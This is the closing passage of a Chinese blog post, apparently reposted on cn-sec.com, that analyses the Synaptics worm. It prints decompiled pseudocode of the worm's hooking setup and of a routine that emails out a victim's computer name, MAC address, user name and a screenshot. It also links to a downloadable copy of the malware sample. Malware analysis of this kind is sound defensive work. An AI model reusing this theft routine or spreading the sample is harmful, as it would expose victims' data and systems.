    if ( !*(_DWORD *)(a1 + 68) || !*(_DWORD *)(a1 + 72) )
    {
      LOBYTE(v8) = 1;
      v9 = unknown_libname_173(&cls_SysUtils_Exception, v8, &str_DLL_Fonksiyonu_[1]);// 未找到DLL函数
      System::__linkproc__ RaiseExcept(v9, HIDWORD(v9));
    }
    FileMappingA = CreateFileMappingA((HANDLE)0xFFFFFFFF04u04u"ElReceptor");
    *(_DWORD *)(a1 + 48) = FileMappingA;
    if ( !FileMappingA )
    {
      LOBYTE(v11) = 1;
      v12 = unknown_libname_173(&cls_SysUtils_Exception, v11, &str_Dosya_Olu_turul[1]);
      System::__linkproc__ RaiseExcept(v12, HIDWORD(v12));
    }
    v13 = MapViewOfFile(*(HANDLE *)(a1 + 48), 2u000);
    *(_DWORD *)(a1 + 56) = v13;
    *v13 = a3;
    v14 = CreateFileMappingA((HANDLE)0xFFFFFFFF04u04u"CBReceptor");
    *(_DWORD *)(a1 + 52) = v14;
    if ( !v14 )
    {
      LOBYTE(v15) = 1;
      v16 = unknown_libname_173(&cls_SysUtils_Exception, v15, &str_Dosya_Olu_turul[1]);
      System::__linkproc__ RaiseExcept(v16, HIDWORD(v16));
    }
    v17 = MapViewOfFile(*(HANDLE *)(a1 + 52), 2u000);
    *(_DWORD *)(a1 + 60) = v17;
    *v17 = a3;
    (*(void (**)(void))(a1 + 68))();            // 调用HookOn
  }
  else
  {
    if ( *(_DWORD *)(a1 + 72) )
      (*(void (__cdecl **)(_EXCEPTION_REGISTRATION_RECORD *, void *, int *))(a1 + 72))(ExceptionList, v20, v21);
    if ( *(_DWORD *)(a1 + 64) )
      FreeLibrary_0(*(HMODULE *)(a1 + 64));
    if ( *(_DWORD *)(a1 + 48) )
    {
      UnmapViewOfFile(*(LPCVOID *)(a1 + 56));
      UnmapViewOfFile(*(LPCVOID *)(a1 + 60));
      CloseHandle_0(*(HANDLE *)(a1 + 48));
      CloseHandle_0(*(HANDLE *)(a1 + 52));
    }
  }
  __writefsdword(0, (unsigned int)ExceptionList);
  v21 = (int *)&loc_47669E;
  return System::__linkproc__ LStrClr(&v22);
}

6、信息回传

病毒通过邮件的方式将被感染的计算机的信息发送到指定的邮箱。

int __fastcall MailReply(int a1)
{
  int v2; // eax
  int v3; // ecx
  int v4; // ecx
  int v5; // ecx
  int v6; // edx
  DWORD v7; // ecx
  int v9; // [esp-28h] [ebp-5Ch]
  int v10; // [esp-20h] [ebp-54h]
  int v11; // [esp-1Ch] [ebp-50h]
  unsigned int v12[3]; // [esp-18h] [ebp-4Ch] BYREF
  unsigned int v13[2]; // [esp-Ch] [ebp-40h] BYREF
  int *v14; // [esp-4h] [ebp-38h]
  int v15; // [esp+Ch] [ebp-28h] BYREF
  int v16; // [esp+10h] [ebp-24h] BYREF
  int v17; // [esp+14h] [ebp-20h] BYREF
  int System__AnsiString; // [esp+18h] [ebp-1Ch] BYREF
  __int32 v19; // [esp+20h] [ebp-14h] BYREF
  int v20; // [esp+24h] [ebp-10h] BYREF
  int v21; // [esp+28h] [ebp-Ch] BYREF
  int v22; // [esp+2Ch] [ebp-8h] BYREF
  int v23; // [esp+30h] [ebp-4h] BYREF
  int savedregs; // [esp+34h] [ebp+0h] BYREF

  v2 = 0;
  v14 = &savedregs;
  v13[1] = (unsigned int)&loc_49743D;
  v13[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;
  __writefsdword(0, (unsigned int)v13);
  if ( !*(_DWORD *)(a1 + 768) )
  {
    v2 = Adaptreq::TAdapterRequestParamsImpl::TAdapterRequestParamsImpl(dword_49F194, dword_49F190, dword_49F18C);
    *(_DWORD *)(a1 + 768) = v2;
  }
  if ( (unsigned __int8)sub_474D34(v2) )
  {
    v12[2] = (unsigned int)&savedregs;
    v12[1] = (unsigned int)&loc_497418;
    v12[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;
    __writefsdword(0, (unsigned int)v12);
    GetMailContent(*(_DWORD *)(a1 + 764), (int)&v23);// 获取邮件内容
    (*(void (__fastcall **)(_DWORD, int *))(**(_DWORD **)(a1 + 780) + 28))(*(_DWORD *)(a1 + 780), &v22);
    System::__linkproc__ LStrCatN(&v23, 6, v3, &str_____________SYS[1], &str___88[1], v22);
    sub_494D10(dword_49F19C, dword_49F198);
    v11 = v23;
    v10 = dword_49F1A0;
    GetComputerName((int)&v20);                 // 获取计算机名
    v9 = v20;
    GetMacAdd(&v19);                            // 获取mac地址
    System::__linkproc__ LStrCatN(&v21, 4, v4, v9, &str____[1], v19);
    GetUserName(v21);                           // 获取系统登录的用户名
    Dbxtrace::TDBXTracePascalFormatter::GetProperty(v10, v11);
    sub_4737B0((int)&v16);                      // GetTempPathA
    sub_472D44(8, &v15);
    System::__linkproc__ LStrCatN(&v17, 4, v5, &str___89[1], v15, &str__jpg[1]);
    sub_4752EC(v17, &System__AnsiString);       // 屏幕截图
    sub_494F84(*(_DWORD *)(a1 + 768), System__AnsiString, 1);
    SendMailA(*(_DWORD *)(a1 + 768), v6, v7);   // 发送邮件
    __writefsdword(0, v12[0]);
  }
  __writefsdword(0, v13[0]);
  v14 = (int *)&loc_497444;
  return System::__linkproc__ LStrArrayClr(&v15, 10);
}

发送邮件的邮箱地址、密码和接收邮件的邮箱。

Synaptics蠕虫病毒:一名网络安全从业人员的感染与溯源分析

同时,病毒还会下载恶意文件,包括exe和ini文件。

Synaptics蠕虫病毒:一名网络安全从业人员的感染与溯源分析

0x04 修复建议

可以直接火绒一把梭。

因为我的虚拟机是没装任何杀软的,才会让病毒有可乘之机,好在只是感染了虚拟机,没有特别大的影响,在这还是提醒各位小伙伴装好杀软,不要在网上乱下东西。

这次病毒样本分析,虽然网上有些文章参考,但是不够全面,自己也是挨个函数找,分析了很久,之前也从没分析过一个完整的病毒程序,在锻炼自己逆向分析能力的同时也提升了自己对恶意程序的认知。即使是这样,作为一名安全从业者被感染病毒实在不该。

总结:常在河边走,还是比较容易湿鞋。

关于此次分析的病毒样本已经放到云盘中了,想要分析的可以下载分析,注意不要干坏事哦~

0x05 参考文章

https://blog.csdn.net/skystephens/article/details/104901398
https://www.freebuf.com/articles/endpoint/222991.html
https://www.52pojie.cn/thread-1147954-1-1.html
病毒样本:http://pan.tidesec.com:5244/jysec/-03-%E5%BA%94%E6%80%A5%E5%93%8D%E5%BA%94/-05-%E6%81%B6%E6%84%8F%E6%A0%B7%E6%9C%AC/Synaptics.zip

往期推荐

TscanPlus-一款红队自动化工具

潮影在线免杀平台上线了

自动化渗透测试工具开发实践

【红蓝对抗】利用CS进行内网横向

一个Go版(更强大)的TideFinger

SRC资产导航监测平台Tsrc上线了

新潮信息-Tide安全团队2022年度总结

记一次实战攻防(打点-Edr-内网-横向-Vcenter)

Synaptics蠕虫病毒:一名网络安全从业人员的感染与溯源分析

E

N

D

Tide团队产品及服务

团队自研平台:潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......

技术分享方向:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享

团队知识wiki:红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......

团队网盘资料:安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......

扫码加入一起学习吧~

Synaptics蠕虫病毒:一名网络安全从业人员的感染与溯源分析

Synaptics蠕虫病毒:一名网络安全从业人员的感染与溯源分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月7日23:17:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Synaptics蠕虫病毒:一名网络安全从业人员的感染与溯源分析https://cn-sec.com/archives/2552020.html

发表评论

匿名网友 填写信息